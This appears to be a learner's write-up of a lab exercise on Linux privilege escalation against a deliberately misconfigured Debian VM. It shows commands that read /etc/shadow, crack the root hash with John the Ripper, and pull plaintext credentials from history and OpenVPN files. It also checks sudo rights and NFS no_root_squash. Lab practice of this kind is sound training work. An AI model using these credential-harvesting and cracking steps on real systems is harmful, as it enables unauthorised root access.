

Linux PrivEsc

Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root! SSH is available.

Task 1 Deploy the Vulnerable Debian VM

Deploy the machine and login to the "user" account using SSH.

→ I have the username and password of the machine to connect

username: **user**

password: **password321**

Command: **ssh user@10.10.26.145**

→ I got an error while connecting to the ssh. This is because the SSH client is unable to negotiate with the SSH server on the remote host due to a lack of a matching host key type.

```
(cyvally@Cyvally) - [~/Downloads]
$ ssh user@10.10.26.145
Unable to negotiate with 10.10.26.145 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
```

→ Solution to this error is to specifying the preferred key types

Command: **ssh -o HostKeyAlgorithms=+ssh-rsa user@10.10.26.145**

```
(cyvally@Cyvally) - [~/Downloads]
$ ssh -o HostKeyAlgorithms=+ssh-rsa user@10.10.26.145
The authenticity of host '10.10.26.145 (10.10.26.145)' can't be established.
RSA key fingerprint is SHA256:JwwPVfqc8LPQda0B9wFLZZXCXcoAho6s8wYgktAnk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.26.145' (RSA) to the list of known hosts.
user@10.10.26.145's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
user@debian:~$
```

I AM IN

Run the "id" command. What is the result?

Answer: **uid=1000(user) gid=1000(user)**

groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

Command: **id**

```
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
user@debian:~$
```

Task 3 Weak File Permissions - Readable /etc/shadow

What is the root user's password hash?

Answer:

**\$6\$Tb/euwmK\$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvR
DJXET..it8r.jbrlpfZeMdwD3B0fGxJI0**

Command: **cat /etc/shadow**

```
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvR DJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backups:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:*:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aD0ZRFrYirKDW5IJy32FBGjwYpT201zrR2xTR0v7wRIkF8.:17298:0:99999:7:::
statd:*:17298:0:99999:7:::
mysql:!:18133:0:99999:7:::
user@debian:~$
```

What hashing algorithm was used to produce the root user's password hash?

Answer: **sha512crypt**

→ I created a file called password.txt, then used nano to edit by pasting the root hash in the file

```
(cyvally@Cyvally) - [~/Downloads]
$ nano password.txt
```

```
GNU nano 7.2 password.txt *
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvR DJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:
```

→ Then i used john the ripper tool to crack it and i got the root user's password hash

Command: **john --wordlist=/usr/share/wordlists/rockyou.txt password.txt**

```
(cyvally@Cyvally) [~/Downloads]
$ john --wordlist=/usr/share/wordlists/rockyou.txt password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
1g 0:00:00:03 DONE (2024-04-24 17:37) 0.2985g/s 420.2p/s 420.2c/s 420.2C/s cuties..tagged
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

What is the root user's password?

Answer: **password123**

```
(cyvally@Cyvally) [~/Downloads]
$ john --wordlist=/usr/share/wordlists/rockyou.txt password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
1g 0:00:00:03 DONE (2024-04-24 17:37) 0.2985g/s 420.2p/s 420.2c/s 420.2C/s cuties..tagged
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Task 5 Weak File Permissions - Writable /etc/passwd

Run the "id" command as the newroot user. What is the result?

Answer: **uid=0(root) gid=0(root) groups=0(root)**

→ To switch to the root user account

Command: **su root**

```
user@debian:~$ su root
Password:
root@debian:/home/user#
```

Now root user

→ To get the id of the new root user

Command: **id**

```
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

Task 6 Sudo - Shell Escape Sequences

How many programs is "user" allowed to run via sudo?

Answer: **11**

→ I exited out of the root shell to user account

Command: **su user**

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
user@debian:~$
```

One program on the list doesn't have a shell escape sequence on GTFOBins. Which is it?

Answer: **apache2**

→ I went to <https://gtfobins.github.io/> and search for all programs, all had a shell escape sequence on GTFOBins except apache2. I found apache2ctl instead

apache2

Binary

[apache2ctl](#)

Functions

File read

Sudo

Task 9 Cron Jobs - PATH Environment Variable

What is the value of the PATH variable in /etc/crontab?

Answer: **/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin**

Command: **cat /etc/crontab**

```

user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

user@debian:~$ █

```

Task 16 Passwords & Keys - History Files

What is the full mysql command the user executed?

Answer: **mysql -h somehost.local -uroot -ppassword123**

→ I switched to the root user

Command: **su root**

→ I viewed the contents of all the hidden history files in the user's home directory

Command: **cat .bash_history**

```

root@debian:/home/user# cat .bash_history
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
ls
root@debian:/home/user# █

```

Task 17 Passwords & Keys - Config Files

What file did you find the root user's credentials in?

Answer: **/etc/openvpn/auth.txt**

→ First, I Listed the contents of the user's home directory

Command: **ls /home/user**

```
root@debian:/home/user# ls /home/user
myvpn.ovpn  tools
root@debian:/home/user#
```

→ I noticed the presence of a myvpn.ovpn config file, i checked for its content
Command: **cat /home/user/myvpn.ovpn**

```
root@debian:/home/user# cat /home/user/myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0
```

→ Going further to check what is in the auth-user-pass

Command: **cat /etc/openvpn/auth.txt**

```
root@debian:/home/user# cat /etc/openvpn/auth.txt
root
password123
root@debian:/home/user#
```

ROOT'S CREDENTIALS

Task 19 NFS

What is the name of the option that disables root squashing?

Answer: **no_root_squash**

→ I checked the NFS share configuration on the Debian VM and found that the /tmp share has root squashing disabled.

Command: **cat /etc/exports**

```
root@debian:/home/user# cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
#/tmp *(rw,sync,insecure,no_subtree_check)
root@debian:/home/user#
```

END!!!